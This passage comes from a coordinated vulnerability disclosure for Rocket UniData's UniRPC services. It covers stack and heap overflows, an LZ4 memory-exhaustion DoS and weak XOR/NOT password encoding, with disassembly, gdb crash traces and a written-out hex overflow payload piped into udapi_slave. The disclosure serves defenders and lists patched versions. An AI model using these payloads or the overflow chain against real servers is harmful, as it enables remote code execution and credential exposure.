.text:00007FFFF728EBD0 ; int __fastcall U_get_string_value(int connection_id, char *buffer, int index)
[...]
.text:00007FFFF728EC08 mov r8, rsi
.text:00007FFFF728EC0B mov rsi, [rdx+0C230h] ; src = third string in the packet
.text:00007FFFF728EC12 test rsi, rsi
.text:00007FFFF728EC15 jz short loc_7FFFF728EC40 ; Jump if the field is missing
.text:00007FFFF728EC17 lea rdx, aRepRpcC ; filename = "rep_rpc.c"
.text:00007FFFF728EC1E sub rsp, 8
.text:00007FFFF728EC22 mov ecx, 1D0h ; line = 464
.text:00007FFFF728EC27 mov rdi, r8 ; dest = r8 = rsi = second function argument (buffer)
.text:00007FFFF728EC2A call _u2strcpy ; <-- Vulnerable strcpy
When a function calls U_get_string_value()
, it passes in a buffer for the resulting string, but does not pass a length
value. That buffer is passed into u2strcpy
, which is also unbounded, and will overflow whichever buffer is passed into U_get_string_value()
. The only RPC service we observed using that function was udsub
(accessed via RPC as unirep82
), which passes a stack-based buffer into the function.
In udsub
, the main
function calls U_sub_connect
(in the udsub
binary), which calls U_unpack_conn_package
(in the libunidata.so
library), which calls the vulnerable function U_get_string_value
(also in the libunidata.so
library). Here's a stack trace to help clarify (unfortunately, we don't have source file names or line numbers for any of these functions):
Breakpoint 2, 0x00007ffff728ebd0 in U_get_string_value () from /.udlibs82/libunidata.so
(gdb) bt
#0 0x00007ffff728ebd0 in U_get_string_value () from /.udlibs82/libunidata.so
#1 0x00007ffff7202259 in U_unpack_conn_package () from /.udlibs82/libunidata.so
#2 0x000000000040361f in U_sub_connect ()
#3 0x00000000004023ea in main ()
We wrote a proof of concept, udsub_stackoverflow_get_string_value.rb, which will overflow the buffer and crash the process while attempting to return from U_unpack_conn_package
to the address 0x4242424242424242
:
[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
[...run the proof of concept in another window...]
RPCPID=14678 - 16:37:31 - looking for service unirep82
RPCPID=14678 - 16:37:31 - Found service=unirep82
RPCPID=14678 - 16:37:31 - Checking host: *
RPCPID=14678 - 16:37:31 - accept: execing /home/ron/unidata/unidata/bin/udsub
process 14678 is executing new program: /home/ron/unidata/unidata/bin/udsub
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff72023fd in U_unpack_conn_package () from /.udlibs82/libunidata.so
(gdb) x/i $rip
=> 0x7ffff72023fd <U_unpack_conn_package+605>: ret
(gdb) x/xwg $rsp
0x7fffffffd558: 0x4242424242424242
Unlike the password-based overflows, we cannot use a NUL byte so we cannot reliably return to a useful address; however, more complex exploits are likely possible.
CVE-2023-28506: Post-authentication stack buffer overflow in udapi_slave
We found a post-authentication stack overflow in the udapi_slave
binary, accessible through the udapi_server
binary, which is accessed via the udcs
service. Successfully exploiting this issue likely leads to remote code execution as the authenticated user. Due to the authentication bypass detailed in CVE-2023-28503, this is exploitable as the root
user without knowing their password.
The udapi_slave
binary is somewhat different from other services, because it's not an RPC service; instead, it's executed by an RPC service, which proxies the bodies of RPC requests with a different header. From a network perspective, it behaves identically to a standard UniRPC service, except that the messages are formatted a little bit differently internally.
The RPC message used to authenticate to udapi_serve
(and therefore udapi_slave
) has more fields than a typical authentication message that other services use. We documented the following fields (note that, as usual, names are usually guesswork):
- (integer)
comms_version
— likely a version number, and used as part of password encoding - (integer)
other_version
— another version number, whose name we could not determine (but that only has a few valid values) - (string)
username
— this is processed slightly differently than usernames in other services, but the authentication bypass documented in CVE-2023-28503 still works, except that the username must be::local:
(an extra colon at the start) - (string)
password
— this is treated exactly like the password in other authentication messages, including the bypass documented in CVE-2023-28503 - (string)
account
— an account name that's passed into thechange_account()
function, which insecurely copies it into a buffer
The change_account()
function, which appears to be in the file src/ud/udtapi/api_slave.c
around line 1154, copies the account
argument into a stack-based buffer using u2memcpy
. It uses the length of the string, as provided by the user, but always copies the data into a 296-byte stack-based buffer. Additionally, because it uses memcpy
and a user-defined size, NUL bytes are permitted and we can therefore use memory addresses as part of our proof of concept.
Here's the vulnerable parts of the change_account()
function:
.text:000000000040FC90 ; __int64 __fastcall change_account(int account_length, char *account)
[...]
.text:000000000040FC91 lea rcx, aDisk1AgentWork_0 ; filename = "/disk1/agent/workspace/ud_build/src/ud/"...
[...]
.text:000000000040FC9B mov r8d, 482h ; line = 1154
.text:000000000040FCA1 mov rdx, rbp ; length - length of the user's `account` string
[...]
.text:000000000040FCAC lea rbx, [rsp+138h+account_name_copy] ; 296-byte buffer
.text:000000000040FCB1 mov rdi, rbx ; dst = 296-byte buffer
.text:000000000040FCB4 call _u2memcpy
We wrote a proof of concept in udapi_slave_stackoverflow_change_account.rb, which crashes the service at a debug breakpoint (assuming it's the exact version we tested; otherwise, it will likely crash with a segmentation fault). Note that due to the fork, we have to set follow-fork-mode
to child
ingdb
; otherwise, we won't see the child process crash:
[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
[...]
(gdb) set follow-fork-mode child
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
[...run the proof of concept in another window...]
RPCPID=15389 - 16:50:43 - accept: execing /home/ron/unidata/unidata/bin/udapi_server
process 15389 is executing new program: /home/ron/unidata/unidata/bin/udapi_server
[...]
[Attaching after process 15394 fork to child process 15394]
[New inferior 2 (process 15394)]
[...]
process 15394 is executing new program: /home/ron/unidata/unidata/bin/udapi_slave
[...]
Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to Thread 0x7ffff7fe5780 (LWP 15394)]
0x00000000004007b1 in ?? ()
We can also skip all the RPC stuff by running udapi_slave
directly and sending the payload on stdin (this will only work if you already have shell access to the service, so it's not a useful exploit):
[ron@unidata bin]$ echo -ne "\x01\x00\x00\x00\x7c\x01\x00\x00\x05\x00\x00\x00\x41\x42\x43\x44\x00\x00\x00\x00\x41\x42\x43\x44\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x03\x00\x00\x00\x0b\x00\x00\x00\x03\x00\x00\x01\x30\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00\x05\x74\x65\x73\x74\x74\x65\x73\x74\x3a\x3a\x6c\x6f\x63\x61\x6c\x3a\x76\x6b\x6b\x70\x3e\x34\x3e\x35\x36\x37\x30\x58\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xb0\x07\x40\x00\x00\x00\x00\x00" | ./udapi_slave 0 1 2
[...]
Trace/breakpoint trap
Because this overflow is in u2memcpy
instead of u2strcpy
, NUL bytes are permitted and therefore this is likely to be exploitable.
CVE-2023-28507: Memory exhaustion DoS in LZ4 decompression
We found a way to exhaust large amounts of memory in the LZ4 decompression function in the unirpcd
daemon. The memory is immediately freed after the decompression ultimately fails, so this is not a major attack, but we decided it was worth documenting since a sustained attack using this technique may use a lot of server resources.
UniRPC messages can be compressed using LZ4 compression by setting a flag in the header. The decompression function is called LZ4_decompress_safe
, and is found in the unirpcd
executable. It appears that LZ4_decompress_safe
doesn't distinguish between "invalid data" and "buffer too small". When the function fails, the UniRPC code expands the buffer and tries again — over and over until it requests an enormous amount of memory and the allocation fails, at which point the process ends with an error code.
Here's the code in question, from unirpcd
:
.text:000000000040778B test eax, eax ; eax = number of bytes decompressed (if successful)
.text:000000000040778D jns decompression_successful ; Jump if it's >0
.text:0000000000407793 mov eax, cs:uvrpc_cmpr_buf_len
.text:0000000000407799 mov rdi, cs:uvrpc_cmpr_buf_ptr ; ptr
.text:00000000004077A0 lea ebx, [rax+rax] ; Otherwise, double the buffer size
.text:00000000004077A3 lea edx, ds:0[rax*8]
.text:00000000004077AA cmp eax, 0FFFFh
.text:00000000004077AF cmovle ebx, edx
.text:00000000004077B2 movsxd rsi, ebx ; size
.text:00000000004077B5 call _realloc ; Allocate double the memory
.text:00000000004077BA test rax, rax
.text:00000000004077BD jz decompression_failed ; Fail if we're out of memory
.text:00000000004077C3 mov edx, dword ptr [rsp+88h+tmpvar] ; compressedSize
.text:00000000004077C7 mov rdi, [rsp+88h+incoming_body_ptr] ; src
.text:00000000004077CC mov ecx, ebx ; dstCapacity
.text:00000000004077CE mov rsi, rax ; dst
.text:00000000004077D1 mov cs:uvrpc_cmpr_buf_len, ebx
.text:00000000004077D7 mov cs:uvrpc_cmpr_buf_ptr, rax
.text:00000000004077DE call LZ4_decompress_safe ; Otherwise, try again (forever)
.text:00000000004077E3 jmp short loc_40778B
If we run unirpcd-oneshot
and put a breakpoint on the realloc
function, then run that script against the server, we'll see increasingly large memory allocations:
[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
[...]
(gdb) b realloc
Breakpoint 1 at 0x402f80
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=21615 - 18:46:45 - uvrpc_debugflag=9 (Debugging level)
RPCPID=21615 - 18:46:45 - portno=12345
RPCPID=21615 - 18:46:45 - res->ai_family=10, ai_socktype=1, ai_protocol=6
[...run the proof of concept here...]
RPCPID=21615 - 18:48:08 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=21615 - 18:48:08 - accept: forking
Breakpoint 1, __GI___libc_realloc (oldmem=0x6820f0, bytes=65728) at malloc.c:2964
2964 {
(gdb) cont
Continuing.
Breakpoint 1, __GI___libc_realloc (oldmem=0x6820f0, bytes=131456) at malloc.c:2964
2964 {
(gdb) cont
Continuing.
[...]
Breakpoint 1, __GI___libc_realloc (oldmem=0x7fffd51c8010, bytes=538443776) at malloc.c:2964
2964 {
(gdb) cont
Continuing.
Breakpoint 1, __GI___libc_realloc (oldmem=0x7fffb5047010, bytes=1076887552) at malloc.c:2964
2964 {
(gdb) cont
Continuing.
Breakpoint 1, __GI___libc_realloc (oldmem=0x7fff74d46010, bytes=18446744071568359424) at malloc.c:2964
2964 {
(gdb) cont
Continuing.
RPCPID=21615 - 18:48:40 - in accept read_packet returns 13c84
[Inferior 1 (process 21615) exited with code 01]
Note that the final attempt tries to allocate an enormous amount of memory — 18,446,744,071,568,359,424 bytes, or about 18.4 exabytes, which fortunately fails on my lab machine.
CVE-2023-28508: Post-authentication heap overflow in udsub
We discovered a post-authentication heap overflow vulnerability in the udsub
executable (accessed via the RPC service unirep82
) that, if successfully exploited, could lead to remote code execution as the authenticated user. We caused the service to crash when it tried to free an invalid pointer after a complex subscription request. Due to the complexity, we didn't track down the root cause of the issue, and therefore can't say with certainty whether this is exploitable for code execution or merely a denial of service.
Note that while this requires authentication, the authentication bypass issue detailed as CVE-2023-28503 permits us to access this service as the root
user without requiring a password.
We wrote a proof of concept, which demonstrates the issue; here's what the service looks like when we run that script:
[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
[...]
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=21890 - 18:51:59 - uvrpc_debugflag=9 (Debugging level)
RPCPID=21890 - 18:51:59 - portno=12345
RPCPID=21890 - 18:51:59 - res->ai_family=10, ai_socktype=1, ai_protocol=6
[...run the script here...]
RPCPID=21890 - 18:52:06 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=21890 - 18:52:06 - accept: forking
RPCPID=21890 - 18:52:06 - argcount = 2(1: pre-6/10 client,2: SSL client)
RPCPID=21890 - 18:52:06 - looking for service unirep82
RPCPID=21890 - 18:52:06 - Found service=unirep82
RPCPID=21890 - 18:52:06 - Checking host: *
RPCPID=21890 - 18:52:06 - accept: execing /home/ron/unidata/unidata/bin/udsub
process 21890 is executing new program: /home/ron/unidata/unidata/bin/udsub
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
*** Error in `/home/ron/unidata/unidata/bin/udsub': free(): invalid pointer: 0x000000000062dd00 ***
======= Backtrace: =========
/lib64/libc.so.6(+0x81329)[0x7ffff4b61329]
/.udlibs82/libunidata.so(U_unpack_conn_package+0x66e)[0x7ffff720280e]
/home/ron/unidata/unidata/bin/udsub[0x40361f]
/home/ron/unidata/unidata/bin/udsub[0x4023ea]
/lib64/libc.so.6(__libc_start_main+0xf5)[0x7ffff4b02555]
/home/ron/unidata/unidata/bin/udsub[0x4033de]
\
CVE-2023-28509: Weak encryption
We found several different places where encoding or obfuscation happens in UniRPC communications where the intent appears to be encryption (based on the name or context). At best, they're a simple encoding that hides data on the wire from the most naive eavesdropping (like negating each byte in a password); at worst, multiple layers of this obfuscation can cancel out the obfuscation entirely, or even enable other attacks to work by encoding NUL bytes.
Here, I'll list a few encryption issues that stood out while working on this research project. We implemented these throughout libneptune.
Encryption bit in UniRPC packet header
The UniRPC packet header is 24 (0x18) bytes long, and is composed of the following fields (we don't have the official names, so these are guesses based on context):
- (1 byte) version byte (always 0x6c)
- (1 byte) other version byte (always 0x01 or 0x02)
- (1 byte) reserved / ignored
- (1 byte) reserved / ignored
- (4 bytes) body length
- (4 bytes) reserved / ignored
- (1 byte) encryption_mode
- (1 byte) is_compressed
- (1 byte) is_encrypted
- (1 byte) reserved / ignored
- (4 bytes) reserved / must be 0
- (2 bytes) argcount
- (2 bytes) data length
This is implemented in the build_packet()
function in the libneptune.rb
library.
When set, the is_encrypted
field tells the receiver that the packet has been obfuscated by XOR'ing every byte of the body with a static byte. Depending on the value of encryption_mode
, that static byte is either 1 or 2.
This is not useful for encryption, if that was the intent, because all the information needed to decrypt it is in the packet header (and obfuscation in the form of XOR-by-a-constant is generally obvious to observers and is very easy to decode).
Password encoding in udadmin_server
The first message sent to udadmin_server
requires three fields:
- (integer) opcode (always
0x0F
/15
) - (string) username
- (string) encoded password
The opcode is an integer value that doesn't change — no value besides 0x0f
works. The username is a standard string. The password, however, is passed into a function called rpcEncrypt()
after copying it into a buffer. In that function, each byte of the string is negated with the logical not
function (ie, binary 0 becomes 1 and 1 becomes 0).
Again, an easily reversible operation (that is also fairly obvious to inspection) does not provide any level of security. This is also directly responsible for CVE-2023-28502 being exploitable, because it allows us to encode NUL bytes as part of an overflow where that would otherwise not be permitted.
Password encoding in U_rep_rpc_server_submain()
The U_rep_rpc_server_submain()
function in libunidata.so
encodes passwords exactly the same way as udadmin
(above), and is used by several different RPC services. It has all the same problems, including enabling strcpy()
-based buffer overflow exploits to contain NUL bytes.
Password encoding in udapi_server
and udapi_slave
udapi_server
and udapi_slave
use different (but still trivially decodable) password encodings. Instead of negating each byte like in other services, each byte is XOR'd by the comms_version
field, which is a value between 2 and 4 (inclusive).
This is particularly interesting because, in a normal situation, the login message (with the literal account username
/ password
) might have each character in the password XOR'd by 2, which looks like this:
00000000 6c 01 5a 5a 00 00 00 44 41 42 43 44 02 00 00 59 |l.ZZ...DABCD...Y|
00000010 00 00 00 00 00 05 00 00 41 42 43 44 00 00 00 00 |........ABCD....|
00000020 41 42 43 44 00 00 00 00 00 00 00 08 00 00 00 03 |ABCD............|
00000030 00 00 00 08 00 00 00 03 00 00 00 04 00 00 00 03 |................|
00000040 00 00 00 02 00 00 00 05 75 73 65 72 6e 61 6d 65 |........username|
00000050 72 63 71 71 75 6d 70 66 2f 74 6d 70 |rcqqumpf/tmp|
The literal username username
is in the packet, but the password is encoded to rcqqumpf
. That's somewhat hidden, but very easy to recognize and break.
But if we then enable packet-level encryption, it can XOR the entire message by 2, then also XOR the password by 2, which effectively undoes the encoding and leaves the password (and only the password) visible:
$ ruby ./test.rb | hexdump -C
00000000 6c 01 5a 5a 00 00 00 44 41 42 43 44 02 00 01 59 |l.ZZ...DABCD...Y|
00000010 00 00 00 00 00 05 00 00 43 40 41 46 02 02 02 02 |........C@AF....|
00000020 43 40 41 46 02 02 02 02 02 02 02 0a 02 02 02 01 |C@AF............|
00000030 02 02 02 0a 02 02 02 01 02 02 02 06 02 02 02 01 |................|
00000040 02 02 02 00 02 02 02 07 77 71 67 70 6c 63 6f 67 |........wqgplcog|
00000050 70 61 73 73 77 6f 72 64 2d 76 6f 72 |password-vor|
This obviously isn't an enormous issue, since the passwords are fairly easy to decode anyways, but encoding that undoes itself in certain situations is an interesting edge case of this type of obfuscation.
Remediation
Rocket Software has confirmed they have released patches for customers, available on the Rocket Business Connect portal. If you are running Rocket UniData or UniVerse, the Rocket MultiValue team strongly advises you to upgrade to the latest hotfixes. Specifically, Rocket Software has indicated the patched versions are:
- UniData 8.2.4 build 3003
- UniVerse 11.3.5 build 1001
- UniVerse 12.2.1 build 2002 (available April 14, 2023)
Timeline
- December, 2022 - January, 2023: Issues identified by Rapid7 researcher Ron Bowes
- January 24, 2023: Privately disclosed findings to Rocket Software's VDP per Rapid7's CVD policy
- March 2, 2023: Rocket Software confirmed that they are working on patches and are on track to meet our proposed disclosure date
- March 29, 2023: Coordinated release of Rocket Software and Rapid7 disclosures (this document)